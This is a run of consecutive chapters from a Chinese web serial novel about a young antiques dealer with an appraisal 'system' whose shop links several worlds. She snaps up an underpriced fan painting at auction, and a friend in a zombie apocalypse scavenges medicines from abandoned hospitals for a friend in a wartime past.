秦教授是老客户了，还是大客户，看好的藏品被人抢先一步买下，这事必须经理出面回应。 萧妧妧起身，心满意足地说：“不用安排物流，打包好我直接带走。咱们现在过去？” 经理苦笑：“没问题，现在给您包好，您留个地址吧，票据一周内给您寄过去。” 萧妧妧写下地址，雄赳赳气昂昂，跟着工作人员去展厅，现场看他打包。 客户经理一并跟去，他需要回应一下大客户。 三人前后脚来到展厅出口位置，那里已然围了四五人。 萧妧妧看到几个老头子攥着放大镜看069号，心里爽感顿生。 嘿嘿，这漏是她捡着的。 经理快走一步上前和各位老藏家问号，组织语言解释清楚事情。 秦教授懒得直起腰，保持佝偻姿态，只眼皮子往上一撩，指了指069号，催促道： “小王啊，去拿协议吧，这件我们几个老家伙联合竞购，价格先按80万算吧，你去联系联系卖家看看怎么说。” 客户经理小王讪笑，略显局促地搓着手，说：“抱歉秦教授，069号刚刚被另一位客人提前洽购了。” 话落，五个头发半白的老头子齐齐直起身，神情空白茫然。 秦教授不可置信，“卖出去了？” 客户经理赔笑点头。 刘老师发出懊悔的叹息：“哎，迟了一步，前面那几个琢磨太久了。” 另一位江老师附和：“可惜了可惜了。” 秦教授显然对069号念念不完，继续追问：“多少钱卖的？是不是老赵下的手？” 客户经理低声说：“80万，最高估价卖的，买家一口应下了。不是赵老师，他这两天先去了佳博。” 秦教授闻言神色失落，又俯下身盯着069号细瞅：“那可真是不巧，我着急忙慌的让人找你去了，还是晚了。” 客户经理：“可不是，我那边刚谈妥，就差那么几分钟。不碍事的，后面还有好东西呢，秦教授您再看看。” 秦教授撅着嘴，不高兴地摇头：“再好东西那是另一回事了，不一样。” 江老师插话道：“谁买走了，能透露吗？我不问清楚心里难受。” 眼睁睁和一个大漏擦肩而过，几人心里都不是滋味。 差一点，就差一点。 扇面出身不好，送拍人来自海外民藏，假货概率翻倍，普通藏家不敢冒这个风险，他们浸□□画领域多年，也是一起商量了许久才敢判定它是真迹。 且是保存完好的精品真迹。 从市场行情看，上百万肯定没问题，几个老伙计对它的预期在大几百万左右，万一运气好碰见喜欢它的散客，价格还能再飙一飙。 几人不止一次联合购买，下定决心后老规矩行事，依然由秦教授出面和拍卖行商议。 他们胸有成竹，商量好了在手里多留几年，等行情上涨再出手。 结果倒好，小王经理上来告诉他们一个坏消息，他们嘀咕半天白嘀咕了。 80万翻到大几百万，这差价搁在谁心里都难以释怀。 客户经理再次露出为难神情：“哎呦，江老师您知道规矩，客户信息我们不能说。” “没关系的小王经理，我不介意您说出去。” 萧妧妧慢一步赶来，挺直脊背，面上扬起矜持淡笑。 小王经理松了一口气，忙介绍：“这位萧小姐就是买下069号的买家。” 买家出现，几个老头子推了推眼镜，齐刷刷望过来。 有点眼熟啊。 “你是小树介绍的那个……”秦教授说到一半停住，想不起来怎么称呼。 江老师用不太小的声音悄声提醒：“叫元宵，元老板，卖古董的。” 萧妧妧笑容僵硬，重新自我介绍：“萧妧妧，姓萧。” 五个老头子一起沉默了，诧异神情浮上脸，扶住眼镜腿上下打量她。 不敢想象，在众多真伪存疑的藏品里精准挑出大漏的会是一个年轻小姑娘。 刘老师好奇不已，进一步追问：“元、萧老板怎么想起来买下这幅扇面了？” 他们打量片刻，认定是巧合，小孩子刚入行，难免冲动，不一定知道扇面的价值，见它保存完好就冲了。 萧妧妧确实说不出个一二三，随便找了个理由：“它看起来最有韵味。” 谁也不知道她所谓的韵味是什么味，这个答案太玄妙了。 江老师试探着问：“小萧，这扇面你打算出手吗？” 萧妧妧环视五人，五张脸上如出一辙的期待，身体不自觉前倾，等她答案。 萧妧妧未语先笑，在他们的注视下，蹦出两个字：“不卖。” 五张脸上的期待神情瞬间黯淡，又变回皱巴巴的苦瓜脸。 萧妧妧忍俊不禁，道：“既然几位老师也对它感兴趣，想必我的判断没出错，这件是真品。” 秦教授哼哼两声，没给肯定答复，也没否定她的说法。 江老师又道：“你这丫头真是盲买啊？不怕买到假的？” 萧妧妧淡定微笑，“合眼缘，我的眼缘一向准，假不了。就算假的也没关系，80万而已，亏得起。” 话落音，五人神情微妙，槽多无口的样子。 前半句后半句听起来都有点装逼的意思，真是让人无话可说。 萧妧妧适时递出名片：“几位老师如果对古董、翡翠感兴趣，欢迎来不破斋看看，就在月牙巷。” 接过名片，几个老头子这才仔细看了看上面的内容。 萧妧妧转身提醒：“帮忙包好看点。” 工作人员一听，连忙应声，绕过几人去展示柜后方开锁。 盯着他打包装袋，一直送到手里，萧妧妧嘴角咧到后脑勺。 捡到漏本就开心，再遇上几个竞买失败的老藏家，愉悦感叠加成就感足以掀翻天灵盖。 萧妧妧礼貌道别，大摇大摆出了杏问。 落日熔金，时间已经来到傍晚，这时候去佳博肯定来不及了。 她看一眼时间，索性赶回小卖部，拆去包装，画框直接挂上墙。 挂上墙不满足，她又拍了一张照片发朋友圈，炫之耀之。 黎行聿反应最快，点了赞马上发来消息，林教授韩教授慢了几分钟，询问能否上门看货。 对手里唯一的书画藏品，萧妧妧相当重视，通通回复“非卖品”。 孟甜甜见她叉着腰欣赏，问道：“这是让你捡着漏了？” 萧妧妧心情极好，嗯了一声，“临时去了一趟杏问，一个地方性的小拍卖行，专卖书画的，运气好被我买下了。 你不知道，再晚一点盖章，就一分钟，它就不一定是我的了。” 孟甜甜了然：“这么说来小拍卖会确实有利可图。” 萧妧妧大声宣布：“我决定了，我要多跑几个小拍卖行，尤其是南市的。” 佳博才看了两个片区，还有珠宝、家具没来得及看，但这些不是她想要的，可以暂时往后稍稍。 小拍卖行不一样，为了成交量好看，绝大多数小拍卖行的拍品都可以提前洽购，她要是运气不好晚了一步，说不准就和今天的秦教授一群人一样，眼睁睁看着几百万落入别人手中。 萧妧妧来回踱步，考虑片刻马上给孟有树发去消息，询问南市还有哪些有点靠谱，但又不那么大众的拍卖行。 孟甜甜见她火急火燎的，恨不得立刻飞出去，劝她冷静。 “你可别一时上头乱买一通，小拍卖行门槛低，我听说许多请不起鉴定师，收了卖家的费用直接上拍，藏品良莠不齐。” 高风险高回报，想在小拍卖行捡漏，势必要担风险的，但萧妧妧不担心，有系统在，最关键的难题根本不能算难题。 话虽如此，萧妧妧还是脆生生应下了。 真假的问题用不着担心，另一个问题却不得不考虑，系统的估价次数有限制，必须合理规划。 每月免费估价次数只有300次，她已经计划好了，除了预留50次应急外，其中有150次用于古董铺商品估价，目前已经用去130次。 剩下100次是她打算用在拍卖上的，佳博杏问走了一趟，一共用去18次。 萧妧妧发愁，看来得把冲级提上日程。 后面有机会去国外拍卖行，萧妧妧还打算在当地古董行、二手市场转转，指不定能捡到漏呢。 这么点估价次数，不省着点花一眨眼就没了。 萧妧妧正要查查还差多少次数可以升级，苏娇娇提着篮子进来了。 “来尝尝看，我们那手艺最好的婶子腌的咸菜，一样给你们拿来一点。”苏娇娇：“过几天我就离开，这次想多买点草药，粮食先算了，前两次买得足够多。” 她放下菜篮子，捡出里面的罐子，给孟甜甜和萧妧妧一人夹去一根萝卜条尝尝味。 孟甜甜擦擦手接过，小声道谢，萧妧妧那里半天没反应。 苏娇娇望过去，只见她目光晶亮，直勾勾的看过来。 苏娇娇不禁低头检查自己打扮，并无不妥。 萧妧妧嘿嘿笑，亲亲热热挽上去。 “娇娇姐，海城不止有古董行吧，是不是还有拍卖行？” 苏娇娇一脸懵，孟甜甜闻言抬头看过来，瞬间明白萧妧妧的小心思。 萧妧妧的心思可不小，大着呢。 苏娇娇所在的年代，国内拍卖业务处于刚兴起的阶段，规矩尚未完善。 尤其战争爆发后，古董价格受政局、经济影响，价格暴跌，部分藏家低价抛售藏品。 什么宫廷旧藏、青铜瓷器、书画拓片，品类比如今的拍卖行丰富不说，对来源不明的文物也大开方便之门。 如今流落他国博物馆的文物，大多是这个时期通过拍卖行、古董商行转移出去。 萧妧妧一心惦记古董行，完全没想起来那时候的拍卖行也有了不小规模。 或者说，萧妧妧根本没想到，竟然在那么早就形成了本土拍卖雏形，虽然它很短暂。 毕竟据她所知，国内拍卖业务的成熟期距现在也不过10来年，非常年轻。 【作者有话说】 上一章结尾部分添了点内容，几百字左右，可以倒回去重新看一下[亲亲] 感谢读者“小张”,灌溉营养液 +1 感谢读者“婷婷”,灌溉营养液 +1 180 第180章 ◎骁勇善战孟辣辣◎ 如果不是萧妧妧正在琢磨这件事,恰好苏娇娇出现，她恐怕无法产生联想。 为验证她的想法，萧妧妧当即掏出手机查资料，果然找出几家洋行,主要分布在海城、京城、羊城。 错过这个村没有这个店,等局势平稳,什么古董行拍卖行,通通没影了。 萧妧妧像抓住机会不撒手一样，紧抓苏娇娇胳膊不肯撒手,甚至在她疑惑目光里，厚脸皮卖萌撒娇。 “你需要我去拍卖行？没问题啊,我可以帮你，正好这次去海城我另有任务,缺一个恰当的借口。” 顿了顿，苏娇娇迟疑说：“但是,拍卖行的情况我并不清楚,云城没有拍卖行,我也没怎么了解过。” 苏娇娇迫不得已接手夫家产业,顺带要管一管自己的嫁妆生意,除此之外还在为另一项伟大事业奔波。 她很忙，忙到脚不沾地，对远在海城的拍卖行只听人说过，没机会了解更多,而云城这种小地方不会有拍卖行存在。 别说拍卖行，古董行都不算多,每回挑东西都心惊胆战生怕“眼力”不够被坑。 萧妧妧拍拍她肩膀,委以重任的语气：“这件事很关键,就拜托你了，苏同志。” 说完，她抓起苏娇娇的手紧握，又晃了晃。 萧妧妧心情前所未有的飞扬，好像前面有一堆好事等着她似的。 苏娇娇见她这副作态，哭笑不得。 “苏同志请坐，苏同志想吃点什么喝点什么？” 萧妧妧按住苏娇娇坐下，殷勤询问晚餐吃什么。 苏娇娇不客气地点了一堆馒头米粥，说是要配咸菜吃。 萧妧妧正好也想吃清淡点，满足了她朴素的愿望，只是担心孟甜甜回去要干力气活，另外多点来几道肉菜，补充补充能量。 苏娇娇怕她一直惦记拍卖行，忘了自己说过的事，吃饭时又提醒一遍： “妧妧，草药的事你可别忘了，不拘什么，治风寒、止血、痢疾、头疼脑热等等，尽管买。黄连和金银花多多益善，我们那里多用这两样代替抗生素。” 萧妧妧眼珠子骨碌转，瞅了瞅经验值进度条。 已达成交易件数看不见，尚未达成却能看到清晰数值，距离下一等级，也就是600次免费估价，需要36万件交易数量。 原来她前面辛辛苦苦、忙忙碌碌，也才完成进度条的四分之三左右。 “放心，药材的事我记下了。对了，要不要准备些诊疗器具？什么听诊器、血压计、显微镜什么的，维生素ABCD要不要？鱼肝油也来点吧？” 萧妧妧像个奸商，卖力推销产品，甭管能不能买来，先一股脑报出来吸引苏娇娇。 苏娇娇愣住，手里馒头啪叽一下砸进碗里。 “这些……真的能找来？” 萧妧妧灿然一笑，“好说，不过麻醉剂我可没办法。” 多亏黎行聿带她参加那次茶会，恰好得知有人投资医药领域，萧妧妧打算以捐赠名义去协商购买诊疗器具的事情。 关系就是这么在你来我往的麻烦中建立，如果只是单纯喝杯茶，以后再无交集，那太可惜了，枉费黎行聿百忙中抽空社交。 既为她解决了诊疗器具采购，又促成双方的利益往来，一举两得的事，何乐不为。 长此以往，即便没有黎行聿带着，萧妧妧说不定也能凭自己加入他们的茶会中。 现在太晚了，萧妧妧决定第二天再联系黎行聿的那位杨雨杨学长。 孟甜甜一直旁听，这时突然插话：“我应该有办法弄来些，不过我不认识麻醉剂长什么样。” 两人齐齐转头看她，神情不可思议。 孟甜甜咀嚼吞咽，片刻后清了清嗓子：“我那里附近有三家医院，只要知道麻醉剂存放在哪里肯定能找来。而且，抗生素与磺胺类药物，按理说也能找到。” 对上两人惊喜目光，孟甜甜又说出一个好消息。 “我前些天听到广播了，附近几个城市临时组建安全基地。 距离我最近的那座基地地势易守难攻，正在响应国家安排，全力组建生产线，恢复必需药品的生产。 你们要是愿意等等，说不定以后我可以去换药。” “如果你们等不及，我可以马上去一趟药物研究所或者药厂。 不过末世后药品稀缺，我去了不见得能找到更多，总归是个办法，你们别嫌弃。” 担心她们期望太高，最后空欢喜一场，孟甜甜提前打预防针。 苏娇娇大喜过望，扑过去抱住孟甜甜，语无伦次。 “不嫌弃不嫌弃，多少都可以，谢谢甜甜。” 萧妧妧海豹鼓掌，满脸兴奋：“对哦，我怎么没想到！你那里可没有什么管控的说法。你放心，不管用什么物资换、多少物资换，我都给你想办法。” 末世嘛，缺衣少食，大家争来抢去无非那几样，萧妧妧多得是。 苏娇娇想起来什么，关切问：“丧尸太可怕了，你去医院会不会很危险？” 孟甜甜信心十足，曲起手臂展示肌肉：“放心吧，我最近训练效果不错，一天最多杀过40个丧尸。 况且我有小卖部可以躲，风险大大降低。” “这几天气温骤降，直逼零下40度，说起来算件喜事，因为外面大部分地方被淹没，现在好了，一夜之间全部冻结，丧尸泡在水里上不来，这会又冻住，对我而言难度减去一大半。” “恶劣天气人类生存不易，丧尸同样受到影响，动作迟缓多了，有的变得嘎嘣脆，我一拳头砸下去能听到骨头碎裂的声音。” 孟甜甜越琢磨越觉得可行，只需要在探索建筑时多多注意其他丧尸即可。 “正好，我还能顺路去一趟翡翠珠宝展，把你们需要的一起抢来。” 她撑着下巴说得头头是道，萧妧妧、苏娇娇越听越兴奋。 好耶，又可以零元购了！ 看到两人向往的神情，孟甜甜拍板道：“择日不如撞日，就今天吧？” 三人彼此对视一眼征询意见，一拍即合，唏哩呼噜解决晚饭，趁着厂商没来送货，抓紧机会零元购。 碗筷来不及收拾了，往厨房水池一堆，三人分别做准备。 孟甜甜跑去库房，推来已经失去柳如烟宠爱的越野轮椅，挑剔打量一遍。 “电动车容易打滑，我看轮椅就不错。” 解决出行工具，她还要换防寒服和雨靴，做好保暖准备，同时防止丧尸偷袭。 好在天气冷，穿厚实些再戴安全帽，丧尸想抓破肉感染也得多抓几十下。 苏娇娇的准备则是回去安排事情，预留出足够时间在小卖部活动。 萧妧妧的准备要琐碎些，忙着下单各种物资。 先是草药，她这回决定按吨买，为了方便，送货地址改成月牙湾66号，那套她新到手没来得及看一眼的超豪华大别野。 上回去过黎行聿家同在月牙湾的88号住所，萧妧妧当即想到如何利用那处房产。 面积上千平，够大。 地下三层带大车库，能装。 门口采用高端安保系统，够安全。 别墅与别墅之间相距二三百米，又有茂密树木掩映和高墙围住，即便在山顶位置拿望远镜盯梢都不一定能到住宅内部情况，私密性非常强。 只要不是蹲在家门口扒拉着门缝偷看，谁知道邻居家什么情况。 过了别墅区门卫那关，之后可以说畅行无阻。 超大别墅刚换主人，借口装修进进出出送物资多合理啊。 萧妧妧说干就干，还问道：“甜甜，你喜欢什么车？我买一辆送给你。” 孟甜甜忙着套她的第三层袜子，闻言想了想：“一定要买吗？我可以在别墅区随便挑一辆，相比起来，汽油是个大问题。” 萧妧妧噎住，无话可说。 也对，明明可以零元购，花钱买多亏啊。 萧妧妧暂且放下这事，继续忙活下单草药的任务。 上回买的干脆，没提什么要求，这次萧妧妧多安排一道流程，需要厂方用油纸包按重量分装。 30种药材每种2吨，每1KG分为一包，那么每种药材就是2000包，总数60000包。 一包按一件算，等于是6万件。 对了，金银花和黄连需求大，分别买4吨，又是8000包。 萧妧妧算了笔帐，啧啧出声，早知道上一批药材也这么操作了。 前面不急不忙，现在好了，临时抱佛脚硬凑数。 她的要求不算奇怪，药材商那里爽快答应，但需要她多支付一些人工费。 萧妧妧同样爽快应下，连带货款一起，预付出去一半。 诊疗器具比较杂，除了血压计、听诊器、显微镜需要联系杨先生，她还打算买一批普通手术刀。 虽然购买手术刀不需要个人出具什么资质证明，但这玩意买个千把套未免奇怪。 萧妧妧分别采购刀柄刀片，常用规格10种，每种刀片10000片，也就是100盒，10种规格共计1000盒。 刀柄数量较少，每种规格1000柄。 医用带线缝合针每包10支，看到量大包邮几个字，萧妧妧壮起胆子买了3000包，喜得客服反复确认。 以上均分在不同APP、医疗器械公司下单，甚至为了方便，萧妧妧直接联系到销售人员，在社交软件私下采购，少量多次。 再就是绷带、纱布、橡胶手套、碘酒、医用酒精等，这几样东西她此前为苏娇娇准备过不少，孟甜甜、龙傲天、申明月多少都需要，平时有事没事她就买几箱回来囤着。 哪怕存量不少，对苏娇娇来说杯水车薪。 萧妧妧计算完库存数量，碘酒、医用酒精下单3000箱，加上空间存货，每样能凑到5000箱。 橡胶手套一箱24盒，一盒100双，下单4000箱够用上许久。绷带纱布消耗得快，她足足买了5000箱备着。 除此以外，维生素鱼肝油等营养补充品不能少，这些要搭配诊疗器具一起通过杨雨采购，看起来更像那么回事。 当然，萧妧妧不止是拿捐赠当借口，也确实想做点慈善活动，一部分自己留下，一部分拿来做公益。 萧妧妧忙得一脑门汗，计算数量计算尺寸，生怕买错规格。 匆匆忙忙花出去七八十万，苏娇娇鬼鬼祟祟找过来。 “我这里都解决了，咱们什么时候开始？” 萧妧妧含糊回应：“快了，马上马上。” 孟甜甜见状，推着轮椅到结界前，说：“不着急，我还要赶过去呢，等我一会。” 孟甜甜说等一会，果然是一会，不出十分钟，她就坐着轮椅扛着电锯，出现在一家社区医院门口。 难怪选择了轮椅没去偷车，太近了。 萧妧妧顾不上采购，和苏娇娇一起，伸着脖子看她探险。 别说，挺刺激，比什么下墓、鬼屋刺激。 孟甜甜：“还有更刺激的。” 说完，她找了二楼一处窗户，砸碎玻璃引来三四只丧尸，发出“嗬嗬”的动静。 孟甜甜没有半点退缩，大步迎上去，一锯子劈下去，飞溅出来的血液变成冰渣，丧尸们摇摇晃晃，最后咚一声倒地。 萧妧妧：…… 苏娇娇：…… 两人对视一眼，默契挪开视线，望天望地就是不敢看孟甜甜。 叫什么甜甜啊，改名叫辣辣吧，心狠手辣的辣。 孟甜甜抽空反驳：“什么心狠手辣，这叫骁勇善战。” 【作者有话说】 感谢读者“小张”,灌溉营养液 +1 180-190 181 第181章 ◎“娇娇姐，咱们掉进米缸里啦。”◎ 骁勇善战的孟甜甜接连砍翻了八只丧尸,大摇大摆走进社区医院的二楼。 萧妧妧和苏娇娇仅是围观，已经冒出一身冷汗，连声让她小心些。 孟甜甜心里有数，摆摆手,一往无前。 萧妧妧哇了一声,士别三日刮目相看,她早不是那个被丧尸追到腿软的孟甜甜。 从被丧尸追到追着丧尸砍,萧妧妧这里才过去一个月，孟甜甜那里最多三个月。 大环境果然锻炼人。 感慨两句,萧妧妧紧盯结界望风，生怕哪个犄角旮旯冒出来一只丧尸。 孟甜甜并不莽撞,行动之前会制造动静，吸引来附近的自由丧尸后,干净利落地解决它们。 一条走廊一条走廊砍过去，血水飞溅,好不容易找到位于二楼中央的药房,三人齐齐露出失望神色。 社区医院规模、级别不大,药房自然不像三甲大医院一样大,尤其末世后药品遭到哄抢,整个药房柜子东倒西歪。 有的货架被抢空，有的还能挑拣出来几样，有的全部散落在地上染上血污。 孟甜甜吸一口冷冽空气，半封闭的药房闻不到一点血腥味。 她谨慎踏入,先贴墙探查整体情况，确认倒塌的货架中没有张牙舞爪的丧尸后,折返到门边锁上,然后掏出蛇皮袋零元购。 来不及看名字和作用,她通通往口袋里扒拉，装满半袋就往小卖部扔，由萧妧妧挑拣出能用的部分。 苏娇娇看不懂药品名称，老实留在结界附近继续观察情况，接应孟甜甜。 萧妧妧则负责找药。 退烧药、止痛药、感冒药……找到了，盘尼西林！ 这几种药都有大用处，萧妧妧分别存放在不同的收纳筐里。 至于剩下的大半药品，应对各种病症的都有，扔了可惜，留着不知道能不能用上。 萧妧妧犹豫几秒，决定先这么放着，看看后面几家医院的情况再决定去留。 她刚整理完半袋，孟甜甜又砸来半袋。 这半袋就更加杂乱了，管蚊虫叮咬的，皮肤瘙痒的，男性功能……？ 萧妧妧停顿片刻，把手里那盒药丢进另一个收纳筐，留着给申明月拿去换钱。 药房事先被扫荡过一遍，孟甜甜来迟一步，只能捡些别人拿不走的，所以装完四个半袋左右几乎没东西可拿。 孟甜甜抽空回来一趟，看筐子里盘尼西林阿莫西林一共找出8盒，不满撇嘴。 聊胜于无吧。 苏娇娇猛地摇头：“8盒已经很多了。” 别说8盒，8支也能起到不小作用。 孟甜甜见她这么轻易满足，嘀咕道：“还是你那里比较惨。” 她转身回到医院，打算搜索手术室，或者诊疗室。 老办法解决掉丧尸，孟甜甜时不时扔进来几盒手套口罩，隔一会扔进来一箱消毒水，没多久丢来几副听诊器。 苏娇娇纳闷道：“怎么一个人影都没有？” 孟甜甜扔来一箱防护服，顺便回答她的疑问： “尸潮之前整个城市的活人几乎全部撤走了，留下的都是走不掉的人，他们分散躲在各处，不敢轻易来医院。 至于丧尸，尸潮涌向下一个城市的时候裹挟者带走了许多，不然我也不敢出去乱跑。” 苏娇娇煞有介事的说：“你那里也挺惨的。” 萧妧妧打断她们，递出手机，“看，麻醉药长这样，我查了下，社区小医院不一定有专门的储藏室，大多会在手术室设立一个保险柜。” 孟甜甜凑过去，麻醉剂的外包装各不相同，还有什么全麻局部麻*不同功用的细分品类，眼花缭乱。 “真复杂，只记住了一个因字，”孟甜甜吐槽完，果断说道：“不管了，我一起抢来，事后咱们再分辨吧。” 她调整灯光亮度，重新钻了回去，寻找手术室。 社区医院规模不大，代表手术室不会太多，更代表距离不远。 孟甜甜在主楼走廊找了两个来回，顺利摸到手术室区域。 环境越发昏暗，器具越发眼熟，萧妧妧围观了几秒，不自觉冒出一身鸡皮疙瘩。 真丧尸真废弃医院，真人探险，第一视角旁观，看恐怖片她都没这么心惊胆颤过。 萧妧妧发散思绪，被自己的脑补吓得不轻，低头忙活采购的事。 苏娇娇没有接触过太多鬼屋、恐怖电影的惊悚画面，对眼前环境没能产生特别的联想，自然没什么反应。 比起萧妧妧，她最多算紧张了点，攥着手打量周围环境。 孟甜甜顺利砍掉几个穿着白大褂的医生丧尸，动作利索地摸到手术室里唯一悬在墙上的保险箱。 擦掉上面血迹，透过巴掌大的透明区域，果然看见里面有不少棕色药瓶子。 孟甜甜二话不说，催促苏娇娇递工具，斧子锯子槌子轮番上。 哐哐几声响后，保险箱盖子变形扭曲，裂开一个拳头大的缝隙。 孟甜甜伸手进去扒住盖子，动作迅猛地往外一扯，只听咔啦一声，保险箱破开半截。 她懒得去分辨，什么液体的粉末的贴剂的，一股脑装进兜里带回来。 三人没一个懂医学，对着几个瓶子的液体一时间分不清这些剂量够用多久。 孟甜甜洒脱道：“既然能派上用场，肯定是越多越好，放心，我再回去找。” 她回到社区医院，在地图上勾画一圈，坐上越野轮椅换个地盘继续零元购。 有过一次社区医院试水，成功经验给了三人更多信心，下一个目标直接升级为三甲大医院。 直到苏娇娇看清三甲大医院的规模，脸色由雀跃期待转变为惨白。 “要不算了吧？我拿回去问问，这一瓶应该够用许多次了。” 三甲大医院光是住院楼就有4栋，门诊楼急诊楼分布在街道两端，这是一个非常大规模的医院。 苏娇娇担心丧尸数量太多，孟甜甜一个人应付不来，劝她赶紧回来。 萧妧妧附和着劝她，这和羊入虎囗有什么区别？ 孟甜甜不甘心结束，躲在外围鬼祟探查情况，时不时利用弹弓在隔壁街道制造动静，试图引开丧尸。 看到成群结队的丧尸蜂拥而出，萧妧妧和苏娇娇唰一下白了脸。 孟甜甜习以为常，面不改色，甚至翻出提前准备好的血淋淋肉块，系上绳子丢进医院大厅，再在绳子末端绑了玻纤箭，等丧尸上钩，最后利用复合弓送出百米之外。 “轰”的一下，丧尸互相踩踏着狂奔出去。 孟甜甜循环往复数次，最后一块带血排骨飞向对面大楼，已经没有多少丧尸被钓出来了。 观察丧尸群片刻，孟甜甜悄悄翻进医院，随手挪来什么东西挡在出入口。 到这一步，萧妧妧苏娇娇两人长出一口气，紧绷神经松弛些许。 孟甜甜安抚她们：“放心吧，我有经验，上次踩点商场的时候用的就是这招。” 显然，孟甜甜的经验不止于此，她对脚下这座医院熟悉得很。 砍了几只落单丧尸，拐了两个走廊，她顺利找到药房。 不愧是三甲大医院，药房也很三甲，比前一个社区医院药房大了不止十倍。 不止西药区，旁边还有个中药区，仓库里成袋的药材。 仔细探查出大概情况，别说苏娇娇了，萧妧妧都兴奋得红了眼眶。 孟甜甜翻进药房，以防万一，先把几个空货架怼上半边窗口，即便外面丧尸找回来，也不能轻易进来。 何况她在门口位置又做了另一手准备，确保不会被堵死在医院。 安全有保障，孟甜甜可就不客气了，她懒得再用蛇皮袋，索性配合萧妧妧连货架带药品一起挪回来。 这可把她们俩忙够呛，光是腾出足够地方就折腾了许久。 孟甜甜看这样不是办法，便自己先行筛选，找到消炎药区域，把急需的药品装袋。 所幸药房够大，所有药品按照功能类别分区，而丧尸爆发后，医院成了重灾区，寻常人没能力闯进来，反倒便宜了她们。 总之，三甲医院的药房药品存量比社区医院的收获大多了。 青霉素、头孢、葡萄糖、降压药、西多芬……连她们最缺的盘尼西林都找出来至少100盒。 孟甜甜嘀咕道：“幸好我们来得早，再晚一点，说不定会安排什么人进来转移物资，咱们什么都没有。” 苏娇娇和萧妧妧已经乐疯了，顾不上回应，手脚并用的分拣药品。 苏娇娇提起满满一筐消炎药抗生素，脸上露出了前所未有的灿烂笑容。 “看，我们已经收集一筐了。”她骄傲炫耀。 萧妧妧找来的收纳筐可不小，这一筐少说二三百盒药。 苏娇娇炫耀完，小心翼翼转移它们到空地，又拿来一个空收纳筐，继续忙活。 孟甜甜看她们忙得分身乏术，暂且缓了缓，等她们清完一波，她再送下一波药品回去。 三个小时，三甲医院西药房区域足足耗费了她们三个小时。 孟甜甜没有拿走所有药，必需的药品拿走大部分，每种留下三四盒防止其他人急需。 而不必需的药品，她碰都不碰，反正她有小卖部，不会缺普通药。 萧妧妧见状重新挑拣了一番，除了苏娇娇需要的，她自己另外留下用得着的几样药品，比如西多芬这类无法大批量购买的处方药，其他用不着的在对比过后又扔了回去。 一遍遍筛下来，哪怕扔回去一部分药品，小卖部的角落仍旧堆出一座小山。 苏娇娇幸福得要晕过去，抱着膝盖坐在小山前傻笑。 萧妧妧提醒孟甜甜：“来都来了，中药材一起拿回来。” 存放在抽屉柜里的药材拿取不方便，数量也不多，而她们也没缺到这个份上，于是放任不管，直奔仓库。 孟甜甜收走仓库门口几大包不知名干草叶子，撬了门进去后，双眼瞪圆，情不自禁哇出声。 萧妧妧听到动静，抬头瞄了一眼，定睛看清情况，也忍不住哇了一声。 “娇娇姐，咱们掉进米缸里啦。”她欢快地说。 【作者有话说】 感谢读者“世界第一杀手夫人”,灌溉营养液 +10 感谢读者“虫子太多好可怕”,灌溉营养液 +1 感谢读者“momo”,灌溉营养液 +1 感谢读者“小张”,灌溉营养液 +1 感谢读者“婷婷”,灌溉营养液 +1 182 第182章 ◎好东西全是她的了◎ 苏娇娇迟缓回神,扭头看过去，眼底闪过惊异光芒。 “不，这是米仓。” 她一骨碌爬起，凑到萧妧妧身边好看个仔细。 一人高的麻布袋子两人张开双臂勉强能抱住,而这样的装满药材的袋子,从地板堆到天花板,数不清具体数量。 没有萧妧妧采购的数量惊人,却也不可小觑。 孟甜甜大致清点了下，关心问：“怎么样,能装得下吗？” 萧妧妧瞅一眼空间剩下的格子，以及差点要爆满的库房,咬咬牙：“能，塞不下也要塞。” 主要是东西太过杂乱,平白浪费了许多收纳空间。 她想着左右不过几天时间，迟早能送到她们手上,便懒得仔细整理,随手丢了进去。 现在好了,吃了偷懒的苦头。 苏娇娇贴心出主意：“可以先送一些药材过去,我安排了一艘小船定期送日常用品进山,今天就有一次，刚好能用上。” 萧妧妧觉得可行，挪出点空间可以塞更多东西。 苏娇娇见她同意，先帮着把药材转移进来堆放整齐。 她们运气不错,收来不少的蒲公英、马钱子、鱼腥草等，紧要时刻它们都能成为替代方案消炎救急。 参片枸杞三七等药材在现代常见,苏娇娇那里可不好找,于是一起偷了。 孟甜甜吭哧吭哧偷药材,存放中药的区域全部搬空后，配合工具撞开第二扇门，里面摆放了成箱的西药。 “有保险室！”孟甜甜惊喜欢呼。 灯光照射到仓库深处，在贴了一连串禁止标识以及细则公告墙壁的左侧，是一道平平无奇的金属门。 走近了看，这门就是放大版本的保险箱，叫保险室意外合适。 孟甜甜担心撬门动静太大横生枝节，转身先去收那些西药。 萧妧妧看她一箱箱找过去，及时告知一声：“帮我留意下西多芬，见到了一起收进来。” 孟甜甜应了一句好，上下攀爬找对应药品，找到就往小卖部丢。 一箱又一箱抗生素、止疼药、止血药搬进后院，苏娇娇兴奋到麻木。 直到把整个仓库搜刮一边，没有她们需要的东西后，孟甜甜拿上工具继续撬门。 斧子锤子轮番出场，硬生生磨了半个小时才打开一道口子。 孟甜甜抓紧时间，摸到什么算什么，通通装进口袋。 萧妧妧一扒拉，果然有麻醉药，种类比社区医院手术室找到的多不说，数量也很可观。 苏娇娇倒吸一口气，激动得差点嘴瓢：“这么多药我没办法名正言顺拿出去，看来要通过匿名捐赠了。” 当然，对于苏娇娇而言，匿名捐赠并不影响什么，只要这些药能够派上用场，就算是完成了她最大的心愿。 萧妧妧记得保存它们对温度湿度有要求，清点完毕单独包起，丢进客房的小冰箱里。 这一通忙，前前后后一共用去5个多小时，好在收获颇丰。 孟甜甜顾不上医院外面什么情况，她有点累了，松懈下来后只觉得浑身疲惫，检查完药房仓库，当即决定先回小卖部歇歇。 三人瘫在椅子上望着成堆药品发呆，不知道谁的肚子先叽里咕噜响起，然后她们才注意到时间不早。 萧妧妧看一眼手机，时间来到深夜11点，傍晚那顿晚饭早消化得一干二净。 点外卖肯定没戏了，店铺基本关门，萧妧妧询问过她们的饥饿程度，扭头去货架上抱来七袋方便面。 厨房冰箱有肉卷和丸子，以及爱丽丝上回带来的菌子野菜，再加三块荷包蛋，凑在一起姑且能称之为丰盛。 三人抱着比脸大的碗疯狂进食，连汤汁一起喝了个干净，满足叹息。 没等她们再歇下去，院门笃笃笃响。 萧妧妧迟钝想起来，是厂商上门送货了。 “你歇着吧，我来，今晚我没出什么力气，现在刚好有劲。” 苏娇娇拍了拍孟甜甜，示意她接着休息，自己跟出门帮忙。 孟甜甜确实累，没拒绝她们的好意，踏踏实实歇下。 后来看两人接力和工人卸货，她一直坐着有点不好意思，便收拾碗筷，连晚饭没来得及洗的碗一起清理。 